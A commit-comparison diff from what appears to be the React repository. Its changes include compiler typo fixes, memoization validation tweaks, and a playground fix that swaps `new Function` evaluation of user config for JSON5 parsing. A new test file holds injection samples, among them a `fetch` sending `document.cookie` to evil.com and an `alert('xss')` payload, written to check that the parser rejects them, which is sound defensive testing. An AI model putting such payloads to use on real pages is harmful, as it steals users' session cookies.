Compare commits
65 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
09063496f8 | ||
|
|
fe5160140d | ||
|
|
ea6792026f | ||
|
|
56922cf751 | ||
|
|
00f063c31d | ||
|
|
0418c8a8b6 | ||
|
|
568244232e | ||
|
|
fef12a01c8 | ||
|
|
705268dcd1 | ||
|
|
733d3aaf99 | ||
|
|
404b38c764 | ||
|
|
808e7ed8e2 | ||
|
|
0c44b96e97 | ||
|
|
1b45e24392 | ||
|
|
80b1cab397 | ||
|
|
044d56f390 | ||
|
|
2c2fd9d12c | ||
|
|
74568e8627 | ||
|
|
9627b5a1ca | ||
|
|
f944b4c535 | ||
|
|
677818e4a2 | ||
|
|
2233b7d728 | ||
|
|
ba833da405 | ||
|
|
3cb2c42013 | ||
|
|
c0c29e8906 | ||
|
|
c0d218f0f3 | ||
|
|
ed69815ceb | ||
|
|
8b2e903a74 | ||
|
|
6a04c369f1 | ||
|
|
d594643e5e | ||
|
|
b4546cd0d4 | ||
|
|
3f0b9e61c4 | ||
|
|
12ba7d8129 | ||
|
|
c80a075095 | ||
|
|
8f41506054 | ||
|
|
5e9eedb578 | ||
|
|
1e3152365d | ||
|
|
a74302c02d | ||
|
|
bae6dd09fb | ||
|
|
96005e445c | ||
|
|
b5f0178794 | ||
|
|
7b5b561bd2 | ||
|
|
014138df87 | ||
|
|
4610359651 | ||
|
|
93882bd40e | ||
|
|
3bc2d41428 | ||
|
|
5e4279134d | ||
|
|
ee4699f5a1 | ||
|
|
23b2d8514f | ||
|
|
4b568a8dbb | ||
|
|
9c0323e2cf | ||
|
|
e6f1c33acf | ||
|
|
4cc5b7a90b | ||
|
|
aac12ce597 | ||
|
|
93a3935d02 | ||
|
|
e0cc7202e1 | ||
|
|
843d69f077 | ||
|
|
b4a8d29845 | ||
|
|
6b113b7bd1 | ||
|
|
98ce535fdb | ||
|
|
a48e9e3f10 | ||
|
|
074d96b9dd | ||
|
|
e33071c614 | ||
|
|
c0060cf2a6 | ||
|
|
bd76b456c1 |
@@ -463,6 +463,7 @@ module.exports = {
|
||||
globals: {
|
||||
nativeFabricUIManager: 'readonly',
|
||||
RN$enableMicrotasksInReact: 'readonly',
|
||||
RN$isNativeEventTargetEventDispatchingEnabled: 'readonly',
|
||||
},
|
||||
},
|
||||
{
|
||||
@@ -566,6 +567,7 @@ module.exports = {
|
||||
CallSite: 'readonly',
|
||||
ConsoleTask: 'readonly', // TOOD: Figure out what the official name of this will be.
|
||||
ReturnType: 'readonly',
|
||||
AggregateError: 'readonly',
|
||||
AnimationFrameID: 'readonly',
|
||||
WeakRef: 'readonly',
|
||||
// For Flow type annotation. Only `BigInt` is valid at runtime.
|
||||
@@ -626,6 +628,7 @@ module.exports = {
|
||||
FinalizationRegistry: 'readonly',
|
||||
Exclude: 'readonly',
|
||||
Omit: 'readonly',
|
||||
Pick: 'readonly',
|
||||
Keyframe: 'readonly',
|
||||
PropertyIndexedKeyframes: 'readonly',
|
||||
KeyframeAnimationOptions: 'readonly',
|
||||
|
||||
@@ -116,11 +116,13 @@ jobs:
|
||||
run: |
|
||||
sed -i -e 's/ @license React*//' \
|
||||
build/oss-experimental/eslint-plugin-react-hooks/cjs/eslint-plugin-react-hooks.development.js \
|
||||
build/facebook-www/ESLintPluginReactHooks-dev.modern.js \
|
||||
build/oss-experimental/react-refresh/cjs/react-refresh-babel.development.js
|
||||
- name: Insert @headers into eslint plugin and react-refresh
|
||||
run: |
|
||||
sed -i -e 's/ LICENSE file in the root directory of this source tree./ LICENSE file in the root directory of this source tree.\n *\n * @noformat\n * @nolint\n * @lightSyntaxTransform\n * @preventMunge\n * @oncall react_core/' \
|
||||
build/oss-experimental/eslint-plugin-react-hooks/cjs/eslint-plugin-react-hooks.development.js \
|
||||
build/facebook-www/ESLintPluginReactHooks-dev.modern.js \
|
||||
build/oss-experimental/react-refresh/cjs/react-refresh-babel.development.js
|
||||
- name: Move relevant files for React in www into compiled
|
||||
run: |
|
||||
@@ -132,9 +134,9 @@ jobs:
|
||||
mkdir ./compiled/facebook-www/__test_utils__
|
||||
mv build/__test_utils__/ReactAllWarnings.js ./compiled/facebook-www/__test_utils__/ReactAllWarnings.js
|
||||
|
||||
# Copy eslint-plugin-react-hooks
|
||||
# Copy eslint-plugin-react-hooks (www build with feature flags)
|
||||
mkdir ./compiled/eslint-plugin-react-hooks
|
||||
cp build/oss-experimental/eslint-plugin-react-hooks/cjs/eslint-plugin-react-hooks.development.js \
|
||||
cp ./compiled/facebook-www/ESLintPluginReactHooks-dev.modern.js \
|
||||
./compiled/eslint-plugin-react-hooks/index.js
|
||||
|
||||
# Move unstable_server-external-runtime.js into facebook-www
|
||||
|
||||
2
.gitignore
vendored
2
.gitignore
vendored
@@ -21,6 +21,7 @@ chrome-user-data
|
||||
.idea
|
||||
*.iml
|
||||
.vscode
|
||||
.zed
|
||||
*.swp
|
||||
*.swo
|
||||
/tmp
|
||||
@@ -40,4 +41,3 @@ packages/react-devtools-fusebox/dist
|
||||
packages/react-devtools-inline/dist
|
||||
packages/react-devtools-shell/dist
|
||||
packages/react-devtools-timeline/dist
|
||||
|
||||
|
||||
@@ -76,7 +76,7 @@ yarn snap minimize --update <path>
|
||||
|
||||
## Version Control
|
||||
|
||||
This repository uses Sapling (`sl`) for version control. Sapling is similar to Mercurial: there is not staging area, but new/deleted files must be explicitlyu added/removed.
|
||||
This repository uses Sapling (`sl`) for version control. Sapling is similar to Mercurial: there is not staging area, but new/deleted files must be explicitly added/removed.
|
||||
|
||||
```bash
|
||||
# Check status
|
||||
|
||||
@@ -1,5 +1,3 @@
|
||||
import type { PluginOptions } from
|
||||
'babel-plugin-react-compiler/dist';
|
||||
({
|
||||
{
|
||||
//compilationMode: "all"
|
||||
} satisfies PluginOptions);
|
||||
}
|
||||
@@ -237,7 +237,7 @@ test('show internals button toggles correctly', async ({page}) => {
|
||||
test('error is displayed when config has syntax error', async ({page}) => {
|
||||
const store: Store = {
|
||||
source: TEST_SOURCE,
|
||||
config: `compilationMode: `,
|
||||
config: `{ compilationMode: }`,
|
||||
showInternals: false,
|
||||
};
|
||||
const hash = encodeStore(store);
|
||||
@@ -254,17 +254,17 @@ test('error is displayed when config has syntax error', async ({page}) => {
|
||||
const output = text.join('');
|
||||
|
||||
// Remove hidden chars
|
||||
expect(output.replace(/\s+/g, ' ')).toContain('Invalid override format');
|
||||
expect(output.replace(/\s+/g, ' ')).toContain(
|
||||
'Unexpected failure when transforming configs',
|
||||
);
|
||||
});
|
||||
|
||||
test('error is displayed when config has validation error', async ({page}) => {
|
||||
const store: Store = {
|
||||
source: TEST_SOURCE,
|
||||
config: `import type { PluginOptions } from 'babel-plugin-react-compiler/dist';
|
||||
|
||||
({
|
||||
config: `{
|
||||
compilationMode: "123"
|
||||
} satisfies PluginOptions);`,
|
||||
}`,
|
||||
showInternals: false,
|
||||
};
|
||||
const hash = encodeStore(store);
|
||||
|
||||
157
compiler/apps/playground/__tests__/parseConfigOverrides.test.mjs
Normal file
157
compiler/apps/playground/__tests__/parseConfigOverrides.test.mjs
Normal file
@@ -0,0 +1,157 @@
|
||||
/**
|
||||
* Copyright (c) Meta Platforms, Inc. and affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*/
|
||||
|
||||
import assert from 'node:assert';
|
||||
import {test, describe} from 'node:test';
|
||||
import JSON5 from 'json5';
|
||||
|
||||
// Re-implement parseConfigOverrides here since the source uses TS imports
|
||||
// that can't be directly loaded by Node. This mirrors the logic in
|
||||
// compilation.ts exactly.
|
||||
function parseConfigOverrides(configOverrides) {
|
||||
const trimmed = configOverrides.trim();
|
||||
if (!trimmed) {
|
||||
return {};
|
||||
}
|
||||
return JSON5.parse(trimmed);
|
||||
}
|
||||
|
||||
describe('parseConfigOverrides', () => {
|
||||
test('empty string returns empty object', () => {
|
||||
assert.deepStrictEqual(parseConfigOverrides(''), {});
|
||||
assert.deepStrictEqual(parseConfigOverrides(' '), {});
|
||||
});
|
||||
|
||||
test('default config parses correctly', () => {
|
||||
const config = `{
|
||||
//compilationMode: "all"
|
||||
}`;
|
||||
const result = parseConfigOverrides(config);
|
||||
assert.deepStrictEqual(result, {});
|
||||
});
|
||||
|
||||
test('compilationMode "all" parses correctly', () => {
|
||||
const config = `{
|
||||
compilationMode: "all"
|
||||
}`;
|
||||
const result = parseConfigOverrides(config);
|
||||
assert.deepStrictEqual(result, {compilationMode: 'all'});
|
||||
});
|
||||
|
||||
test('config with single-line and block comments parses correctly', () => {
|
||||
const config = `{
|
||||
// This is a single-line comment
|
||||
/* This is a block comment */
|
||||
compilationMode: "all",
|
||||
}`;
|
||||
const result = parseConfigOverrides(config);
|
||||
assert.deepStrictEqual(result, {compilationMode: 'all'});
|
||||
});
|
||||
|
||||
test('config with trailing commas parses correctly', () => {
|
||||
const config = `{
|
||||
compilationMode: "all",
|
||||
}`;
|
||||
const result = parseConfigOverrides(config);
|
||||
assert.deepStrictEqual(result, {compilationMode: 'all'});
|
||||
});
|
||||
|
||||
test('nested environment options parse correctly', () => {
|
||||
const config = `{
|
||||
environment: {
|
||||
validateRefAccessDuringRender: true,
|
||||
},
|
||||
}`;
|
||||
const result = parseConfigOverrides(config);
|
||||
assert.deepStrictEqual(result, {
|
||||
environment: {validateRefAccessDuringRender: true},
|
||||
});
|
||||
});
|
||||
|
||||
test('multiple options parse correctly', () => {
|
||||
const config = `{
|
||||
compilationMode: "all",
|
||||
environment: {
|
||||
validateRefAccessDuringRender: false,
|
||||
},
|
||||
}`;
|
||||
const result = parseConfigOverrides(config);
|
||||
assert.deepStrictEqual(result, {
|
||||
compilationMode: 'all',
|
||||
environment: {validateRefAccessDuringRender: false},
|
||||
});
|
||||
});
|
||||
|
||||
test('rejects malicious IIFE injection', () => {
|
||||
const config = `(function(){ document.title = "hacked"; return {}; })()`;
|
||||
assert.throws(() => parseConfigOverrides(config));
|
||||
});
|
||||
|
||||
test('rejects malicious comma operator injection', () => {
|
||||
const config = `{
|
||||
compilationMode: (alert("xss"), "all")
|
||||
}`;
|
||||
assert.throws(() => parseConfigOverrides(config));
|
||||
});
|
||||
|
||||
test('rejects function call in value', () => {
|
||||
const config = `{
|
||||
compilationMode: eval("all")
|
||||
}`;
|
||||
assert.throws(() => parseConfigOverrides(config));
|
||||
});
|
||||
|
||||
test('rejects variable references', () => {
|
||||
const config = `{
|
||||
compilationMode: someVar
|
||||
}`;
|
||||
assert.throws(() => parseConfigOverrides(config));
|
||||
});
|
||||
|
||||
test('rejects template literals', () => {
|
||||
const config = `{
|
||||
compilationMode: \`all\`
|
||||
}`;
|
||||
assert.throws(() => parseConfigOverrides(config));
|
||||
});
|
||||
|
||||
test('rejects constructor calls', () => {
|
||||
const config = `{
|
||||
compilationMode: new String("all")
|
||||
}`;
|
||||
assert.throws(() => parseConfigOverrides(config));
|
||||
});
|
||||
|
||||
test('rejects arbitrary JS code', () => {
|
||||
const config = `fetch("https://evil.com?c=" + document.cookie)`;
|
||||
assert.throws(() => parseConfigOverrides(config));
|
||||
});
|
||||
|
||||
test('config with array values parses correctly', () => {
|
||||
const config = `{
|
||||
sources: ["src/a.ts", "src/b.ts"],
|
||||
}`;
|
||||
const result = parseConfigOverrides(config);
|
||||
assert.deepStrictEqual(result, {sources: ['src/a.ts', 'src/b.ts']});
|
||||
});
|
||||
|
||||
test('config with null values parses correctly', () => {
|
||||
const config = `{
|
||||
compilationMode: null,
|
||||
}`;
|
||||
const result = parseConfigOverrides(config);
|
||||
assert.deepStrictEqual(result, {compilationMode: null});
|
||||
});
|
||||
|
||||
test('config with numeric values parses correctly', () => {
|
||||
const config = `{
|
||||
maxLevel: 42,
|
||||
}`;
|
||||
const result = parseConfigOverrides(config);
|
||||
assert.deepStrictEqual(result, {maxLevel: 42});
|
||||
});
|
||||
});
|
||||
@@ -21,9 +21,6 @@ import {monacoConfigOptions} from './monacoOptions';
|
||||
import {IconChevron} from '../Icons/IconChevron';
|
||||
import {CONFIG_PANEL_TRANSITION} from '../../lib/transitionTypes';
|
||||
|
||||
// @ts-expect-error - webpack asset/source loader handles .d.ts files as strings
|
||||
import compilerTypeDefs from 'babel-plugin-react-compiler/dist/index.d.ts';
|
||||
|
||||
loader.config({monaco});
|
||||
|
||||
export default function ConfigEditor({
|
||||
@@ -105,22 +102,10 @@ function ExpandedEditor({
|
||||
_: editor.IStandaloneCodeEditor,
|
||||
monaco: Monaco,
|
||||
) => void = (_, monaco) => {
|
||||
// Add the babel-plugin-react-compiler type definitions to Monaco
|
||||
monaco.languages.typescript.typescriptDefaults.addExtraLib(
|
||||
//@ts-expect-error - compilerTypeDefs is a string
|
||||
compilerTypeDefs,
|
||||
'file:///node_modules/babel-plugin-react-compiler/dist/index.d.ts',
|
||||
);
|
||||
monaco.languages.typescript.typescriptDefaults.setCompilerOptions({
|
||||
target: monaco.languages.typescript.ScriptTarget.Latest,
|
||||
allowNonTsExtensions: true,
|
||||
moduleResolution: monaco.languages.typescript.ModuleResolutionKind.NodeJs,
|
||||
module: monaco.languages.typescript.ModuleKind.ESNext,
|
||||
noEmit: true,
|
||||
strict: false,
|
||||
esModuleInterop: true,
|
||||
allowSyntheticDefaultImports: true,
|
||||
jsx: monaco.languages.typescript.JsxEmit.React,
|
||||
// Enable comments in JSON for JSON5-style config
|
||||
monaco.languages.json.jsonDefaults.setDiagnosticsOptions({
|
||||
allowComments: true,
|
||||
trailingCommas: 'ignore',
|
||||
});
|
||||
};
|
||||
|
||||
@@ -157,8 +142,8 @@ function ExpandedEditor({
|
||||
</div>
|
||||
<div className="flex-1 border border-gray-300">
|
||||
<MonacoEditor
|
||||
path={'config.ts'}
|
||||
language={'typescript'}
|
||||
path={'config.json5'}
|
||||
language={'json'}
|
||||
value={store.config}
|
||||
onMount={handleMount}
|
||||
onChange={handleChange}
|
||||
|
||||
@@ -25,6 +25,7 @@ import BabelPluginReactCompiler, {
|
||||
type LoggerEvent,
|
||||
} from 'babel-plugin-react-compiler';
|
||||
import {transformFromAstSync} from '@babel/core';
|
||||
import JSON5 from 'json5';
|
||||
import type {
|
||||
CompilerOutput,
|
||||
CompilerTransformOutput,
|
||||
@@ -126,6 +127,14 @@ const COMMON_HOOKS: Array<[string, Hook]> = [
|
||||
],
|
||||
];
|
||||
|
||||
export function parseConfigOverrides(configOverrides: string): any {
|
||||
const trimmed = configOverrides.trim();
|
||||
if (!trimmed) {
|
||||
return {};
|
||||
}
|
||||
return JSON5.parse(trimmed);
|
||||
}
|
||||
|
||||
function parseOptions(
|
||||
source: string,
|
||||
mode: 'compiler' | 'linter',
|
||||
@@ -156,16 +165,7 @@ function parseOptions(
|
||||
});
|
||||
|
||||
// Parse config overrides from config editor
|
||||
let configOverrideOptions: any = {};
|
||||
const configMatch = configOverrides.match(/^\s*import.*?\n\n\((.*)\)/s);
|
||||
if (configOverrides.trim()) {
|
||||
if (configMatch && configMatch[1]) {
|
||||
const configString = configMatch[1].replace(/satisfies.*$/, '').trim();
|
||||
configOverrideOptions = new Function(`return (${configString})`)();
|
||||
} else {
|
||||
throw new Error('Invalid override format');
|
||||
}
|
||||
}
|
||||
const configOverrideOptions = parseConfigOverrides(configOverrides);
|
||||
|
||||
const opts: PluginOptions = parsePluginOptions({
|
||||
...parsedPragmaOptions,
|
||||
|
||||
@@ -14,11 +14,9 @@ export default function MyApp() {
|
||||
`;
|
||||
|
||||
export const defaultConfig = `\
|
||||
import type { PluginOptions } from 'babel-plugin-react-compiler/dist';
|
||||
|
||||
({
|
||||
{
|
||||
//compilationMode: "all"
|
||||
} satisfies PluginOptions);`;
|
||||
}`;
|
||||
|
||||
export const defaultStore: Store = {
|
||||
source: index,
|
||||
|
||||
@@ -32,6 +32,7 @@
|
||||
"hermes-eslint": "^0.25.0",
|
||||
"hermes-parser": "^0.25.0",
|
||||
"invariant": "^2.2.4",
|
||||
"json5": "^2.2.3",
|
||||
"lru-cache": "^11.2.2",
|
||||
"lz-string": "^1.5.0",
|
||||
"monaco-editor": "^0.52.0",
|
||||
|
||||
@@ -8,7 +8,7 @@ The idea of React Compiler is to allow developers to use React's familiar declar
|
||||
|
||||
* Bound the amount of re-rendering that happens on updates to ensure that apps have predictably fast performance by default.
|
||||
* Keep startup time neutral with pre-React Compiler performance. Notably, this means holding code size increases and memoization overhead low enough to not impact startup.
|
||||
* Retain React's familiar declarative, component-oriented programming model. Ie, the solution should not fundamentally change how developers think about writing React, and should generally _remove_ concepts (the need to use React.memo(), useMemo(), and useCallback()) rather than introduce new concepts.
|
||||
* Retain React's familiar declarative, component-oriented programming model. i.e, the solution should not fundamentally change how developers think about writing React, and should generally _remove_ concepts (the need to use React.memo(), useMemo(), and useCallback()) rather than introduce new concepts.
|
||||
* "Just work" on idiomatic React code that follows React's rules (pure render functions, the rules of hooks, etc).
|
||||
* Support typical debugging and profiling tools and workflows.
|
||||
* Be predictable and understandable enough by React developers — i.e. developers should be able to quickly develop a rough intuition of how React Compiler works.
|
||||
@@ -19,7 +19,7 @@ The idea of React Compiler is to allow developers to use React's familiar declar
|
||||
The following are explicitly *not* goals for React Compiler:
|
||||
|
||||
* Provide perfectly optimal re-rendering with zero unnecessary recomputation. This is a non-goal for several reasons:
|
||||
* The runtime overhead of the extra tracking involved can outweight the cost of recomputation in many cases.
|
||||
* The runtime overhead of the extra tracking involved can outweigh the cost of recomputation in many cases.
|
||||
* In cases with conditional dependencies it may not be possible to avoid recomputing some/all instructions.
|
||||
* The amount of code may regress startup times, which would conflict with our goal of neutral startup performance.
|
||||
* Support code that violates React's rules. React's rules exist to help developers build robust, scalable applications and form a contract that allows us to continue improving React without breaking applications. React Compiler depends on these rules to safely transform code, and violations of rules will therefore break React Compiler's optimizations.
|
||||
@@ -42,9 +42,9 @@ React Compiler has two primary public interfaces: a Babel plugin for transformin
|
||||
The core of the compiler is largely decoupled from Babel, using its own intermediate representations. The high-level flow is as follows:
|
||||
|
||||
- **Babel Plugin**: Determines which functions in a file should be compiled, based on the plugin options and any local opt-in/opt-out directives. For each component or hook to be compiled, the plugin calls the compiler, passing in the original function and getting back a new AST node which will replace the original.
|
||||
- **Lowering** (BuildHIR): The first step of the compiler is to convert the Babel AST into React Compiler's primary intermediate representation, HIR (High-level Intermediate Representation). This phase is primarily based on the AST itself, but currently leans on Babel to resolve identifiers. The HIR preserves the precise order-of-evaluation semantics of JavaScript, resolves break/continue to their jump points, etc. The resulting HIR forms a control-flow graph of basic blocks, each of which contains zero or more consecutive instructions followed by a terminal. The basic blocks are stored in reverse postorder, such that forward iteration of the blocks allows predecessors to be visited before successors _unless_ there is a "back edge" (ie a loop).
|
||||
- **Lowering** (BuildHIR): The first step of the compiler is to convert the Babel AST into React Compiler's primary intermediate representation, HIR (High-level Intermediate Representation). This phase is primarily based on the AST itself, but currently leans on Babel to resolve identifiers. The HIR preserves the precise order-of-evaluation semantics of JavaScript, resolves break/continue to their jump points, etc. The resulting HIR forms a control-flow graph of basic blocks, each of which contains zero or more consecutive instructions followed by a terminal. The basic blocks are stored in reverse postorder, such that forward iteration of the blocks allows predecessors to be visited before successors _unless_ there is a "back edge" (i.e. a loop).
|
||||
- **SSA Conversion** (EnterSSA): The HIR is converted to HIR form, such that all Identifiers in the HIR are updated to an SSA-based identifier.
|
||||
- Validation: We run various validation passes to check that the input is valid React, ie that it does not break the rules. This includes looking for conditional hook calls, unconditional setState calls, etc.
|
||||
- Validation: We run various validation passes to check that the input is valid React, i.e. that it does not break the rules. This includes looking for conditional hook calls, unconditional setState calls, etc.
|
||||
- **Optimization**: Various passes such as dead code elimination and constant propagation can generally improve performance and reduce the amount of instructions to be optimized later.
|
||||
- **Type Inference** (InferTypes): We run a conservative type inference pass to identify certain key types of data that may appear in the program that are relevant for further analysis, such as which values are hooks, primitives, etc.
|
||||
- **Inferring Reactive Scopes**: Several passes are involved in determining groups of values that are created/mutated together and the set of instructions involved in creating/mutating those values. We call these groups "reactive scopes", and each can have one or more declarations (or occasionally a reassignment).
|
||||
|
||||
@@ -3268,6 +3268,21 @@ function isReorderableExpression(
|
||||
)
|
||||
);
|
||||
}
|
||||
case 'NewExpression': {
|
||||
const newExpr = expr as NodePath<t.NewExpression>;
|
||||
const callee = newExpr.get('callee');
|
||||
return (
|
||||
callee.isExpression() &&
|
||||
isReorderableExpression(builder, callee, allowLocalIdentifiers) &&
|
||||
newExpr
|
||||
.get('arguments')
|
||||
.every(
|
||||
arg =>
|
||||
arg.isExpression() &&
|
||||
isReorderableExpression(builder, arg, allowLocalIdentifiers),
|
||||
)
|
||||
);
|
||||
}
|
||||
default: {
|
||||
return false;
|
||||
}
|
||||
|
||||
@@ -826,6 +826,7 @@ export type StartMemoize = {
|
||||
* emitting diagnostics with a suggested replacement
|
||||
*/
|
||||
depsLoc: SourceLocation | null;
|
||||
hasInvalidDeps?: true;
|
||||
loc: SourceLocation;
|
||||
};
|
||||
export type FinishMemoize = {
|
||||
|
||||
@@ -513,7 +513,7 @@ function inferBlock(
|
||||
if (handlerParam != null) {
|
||||
CompilerError.invariant(state.kind(handlerParam) != null, {
|
||||
reason:
|
||||
'Expected catch binding to be intialized with a DeclareLocal Catch instruction',
|
||||
'Expected catch binding to be initialized with a DeclareLocal Catch instruction',
|
||||
loc: terminal.loc,
|
||||
});
|
||||
const effects: Array<AliasingEffect> = [];
|
||||
@@ -1315,7 +1315,7 @@ class InferenceState {
|
||||
#values: Map<InstructionValue, AbstractValue>;
|
||||
/*
|
||||
* The set of values pointed to by each identifier. This is a set
|
||||
* to accomodate phi points (where a variable may have different
|
||||
* to accommodate phi points (where a variable may have different
|
||||
* values from different control flow paths).
|
||||
*/
|
||||
#variables: Map<IdentifierId, Set<InstructionValue>>;
|
||||
|
||||
@@ -24,7 +24,7 @@ The goal of mutability and aliasing inference is to understand the set of instru
|
||||
|
||||
In code, the mutability and aliasing model is compromised of the following phases:
|
||||
|
||||
* `InferMutationAliasingEffects`. Infers a set of mutation and aliasing effects for each instruction. The approach is to generate a set of candidate effects based purely on the semantics of each instruction and the types of the operands, then use abstract interpretation to determine the actual effects (or errros) that would apply. For example, an instruction that by default has a Capture effect might downgrade to an ImmutableCapture effect if the value is known to be frozen.
|
||||
* `InferMutationAliasingEffects`. Infers a set of mutation and aliasing effects for each instruction. The approach is to generate a set of candidate effects based purely on the semantics of each instruction and the types of the operands, then use abstract interpretation to determine the actual effects (or errors) that would apply. For example, an instruction that by default has a Capture effect might downgrade to an ImmutableCapture effect if the value is known to be frozen.
|
||||
* `InferMutationAliasingRanges`. Infers a mutable range (start:end instruction ids) for each value in the program, and annotates each Place with its effect type for usage in later passes. This builds a graph of data flow through the program over time in order to understand which mutations effect which values.
|
||||
* `InferReactiveScopeVariables`. Given the per-Place effects, determines disjoint sets of values that mutate together and assigns all identifiers in each set to a unique scope, and updates the range to include the ranges of all constituent values.
|
||||
|
||||
@@ -69,7 +69,7 @@ Describes the creation of new function value, capturing the given set of mutable
|
||||
kind: 'Apply';
|
||||
receiver: Place;
|
||||
function: Place; // same as receiver for function calls
|
||||
mutatesFunction: boolean; // indicates if this is a type that we consdier to mutate the function itself by default
|
||||
mutatesFunction: boolean; // indicates if this is a type that we consider to mutate the function itself by default
|
||||
args: Array<Place | SpreadPattern | Hole>;
|
||||
into: Place; // where result is stored
|
||||
signature: FunctionSignature | null;
|
||||
@@ -526,7 +526,7 @@ Capture c <- a
|
||||
|
||||
Intuition: these effects are inverses of each other (capturing into an object, extracting from an object). The result is based on the order of operations:
|
||||
|
||||
Capture then CreatFrom is equivalent to Alias: we have to assume that the result _is_ the original value and that a local mutation of the result could mutate the original.
|
||||
Capture then CreateFrom is equivalent to Alias: we have to assume that the result _is_ the original value and that a local mutation of the result could mutate the original.
|
||||
|
||||
```js
|
||||
const b = [a]; // capture
|
||||
|
||||
@@ -143,7 +143,7 @@ export function inferReactiveScopeVariables(fn: HIRFunction): void {
|
||||
}
|
||||
|
||||
/*
|
||||
* Validate that all scopes have properly intialized, valid mutable ranges
|
||||
* Validate that all scopes have properly initialized, valid mutable ranges
|
||||
* within the span of instructions for this function, ie from 1 to 1 past
|
||||
* the last instruction id.
|
||||
*/
|
||||
|
||||
@@ -143,6 +143,7 @@ export function validateExhaustiveDependencies(fn: HIRFunction): void {
|
||||
);
|
||||
if (diagnostic != null) {
|
||||
fn.env.recordError(diagnostic);
|
||||
startMemo.hasInvalidDeps = true;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -486,16 +486,25 @@ class Visitor extends ReactiveFunctionVisitor<VisitorState> {
|
||||
ids.add(value.place.identifier);
|
||||
}
|
||||
if (value.kind === 'StartMemoize') {
|
||||
let depsFromSource: Array<ManualMemoDependency> | null = null;
|
||||
if (value.deps != null) {
|
||||
depsFromSource = value.deps;
|
||||
}
|
||||
CompilerError.invariant(state.manualMemoState == null, {
|
||||
reason: 'Unexpected nested StartMemoize instructions',
|
||||
description: `Bad manual memoization ids: ${state.manualMemoState?.manualMemoId}, ${value.manualMemoId}`,
|
||||
loc: value.loc,
|
||||
});
|
||||
|
||||
if (value.hasInvalidDeps === true) {
|
||||
/*
|
||||
* ValidateExhaustiveDependencies already reported an error for this
|
||||
* memo block, skip validation to avoid duplicate errors
|
||||
*/
|
||||
return;
|
||||
}
|
||||
|
||||
let depsFromSource: Array<ManualMemoDependency> | null = null;
|
||||
if (value.deps != null) {
|
||||
depsFromSource = value.deps;
|
||||
}
|
||||
|
||||
state.manualMemoState = {
|
||||
loc: instruction.loc,
|
||||
decls: new Set(),
|
||||
@@ -547,12 +556,15 @@ class Visitor extends ReactiveFunctionVisitor<VisitorState> {
|
||||
}
|
||||
}
|
||||
if (value.kind === 'FinishMemoize') {
|
||||
if (state.manualMemoState == null) {
|
||||
// StartMemoize had invalid deps, skip validation
|
||||
return;
|
||||
}
|
||||
CompilerError.invariant(
|
||||
state.manualMemoState != null &&
|
||||
state.manualMemoState.manualMemoId === value.manualMemoId,
|
||||
state.manualMemoState.manualMemoId === value.manualMemoId,
|
||||
{
|
||||
reason: 'Unexpected mismatch between StartMemoize and FinishMemoize',
|
||||
description: `Encountered StartMemoize id=${state.manualMemoState?.manualMemoId} followed by FinishMemoize id=${value.manualMemoId}`,
|
||||
description: `Encountered StartMemoize id=${state.manualMemoState.manualMemoId} followed by FinishMemoize id=${value.manualMemoId}`,
|
||||
loc: value.loc,
|
||||
},
|
||||
);
|
||||
|
||||
@@ -10,7 +10,7 @@ import invariant from 'invariant';
|
||||
import {runBabelPluginReactCompiler} from '../Babel/RunReactCompilerBabelPlugin';
|
||||
import type {Logger, LoggerEvent} from '../Entrypoint';
|
||||
|
||||
it('logs succesful compilation', () => {
|
||||
it('logs successful compilation', () => {
|
||||
const logs: [string | null, LoggerEvent][] = [];
|
||||
const logger: Logger = {
|
||||
logEvent(filename, event) {
|
||||
|
||||
@@ -15,7 +15,7 @@ function component(a, b) {
|
||||
## Error
|
||||
|
||||
```
|
||||
Found 3 errors:
|
||||
Found 2 errors:
|
||||
|
||||
Error: useMemo() callbacks may not be async or generator functions
|
||||
|
||||
@@ -47,22 +47,6 @@ error.invalid-ReactUseMemo-async-callback.ts:3:10
|
||||
6 | }
|
||||
|
||||
Inferred dependencies: `[a]`
|
||||
|
||||
Compilation Skipped: Existing memoization could not be preserved
|
||||
|
||||
React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `a`, but the source dependencies were []. Inferred dependency not present in source.
|
||||
|
||||
error.invalid-ReactUseMemo-async-callback.ts:2:24
|
||||
1 | function component(a, b) {
|
||||
> 2 | let x = React.useMemo(async () => {
|
||||
| ^^^^^^^^^^^^^
|
||||
> 3 | await a;
|
||||
| ^^^^^^^^^^^^
|
||||
> 4 | }, []);
|
||||
| ^^^^ Could not preserve existing manual memoization
|
||||
5 | return x;
|
||||
6 | }
|
||||
7 |
|
||||
```
|
||||
|
||||
|
||||
@@ -15,7 +15,7 @@ function component(a, b) {
|
||||
## Error
|
||||
|
||||
```
|
||||
Found 3 errors:
|
||||
Found 2 errors:
|
||||
|
||||
Error: useMemo() callbacks may not be async or generator functions
|
||||
|
||||
@@ -47,22 +47,6 @@ error.invalid-useMemo-async-callback.ts:3:10
|
||||
6 | }
|
||||
|
||||
Inferred dependencies: `[a]`
|
||||
|
||||
Compilation Skipped: Existing memoization could not be preserved
|
||||
|
||||
React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `a`, but the source dependencies were []. Inferred dependency not present in source.
|
||||
|
||||
error.invalid-useMemo-async-callback.ts:2:18
|
||||
1 | function component(a, b) {
|
||||
> 2 | let x = useMemo(async () => {
|
||||
| ^^^^^^^^^^^^^
|
||||
> 3 | await a;
|
||||
| ^^^^^^^^^^^^
|
||||
> 4 | }, []);
|
||||
| ^^^^ Could not preserve existing manual memoization
|
||||
5 | return x;
|
||||
6 | }
|
||||
7 |
|
||||
```
|
||||
|
||||
|
||||
@@ -13,7 +13,7 @@ function component(a, b) {
|
||||
## Error
|
||||
|
||||
```
|
||||
Found 3 errors:
|
||||
Found 2 errors:
|
||||
|
||||
Error: useMemo() callbacks may not accept parameters
|
||||
|
||||
@@ -40,18 +40,6 @@ error.invalid-useMemo-callback-args.ts:2:23
|
||||
5 |
|
||||
|
||||
Inferred dependencies: `[a]`
|
||||
|
||||
Compilation Skipped: Existing memoization could not be preserved
|
||||
|
||||
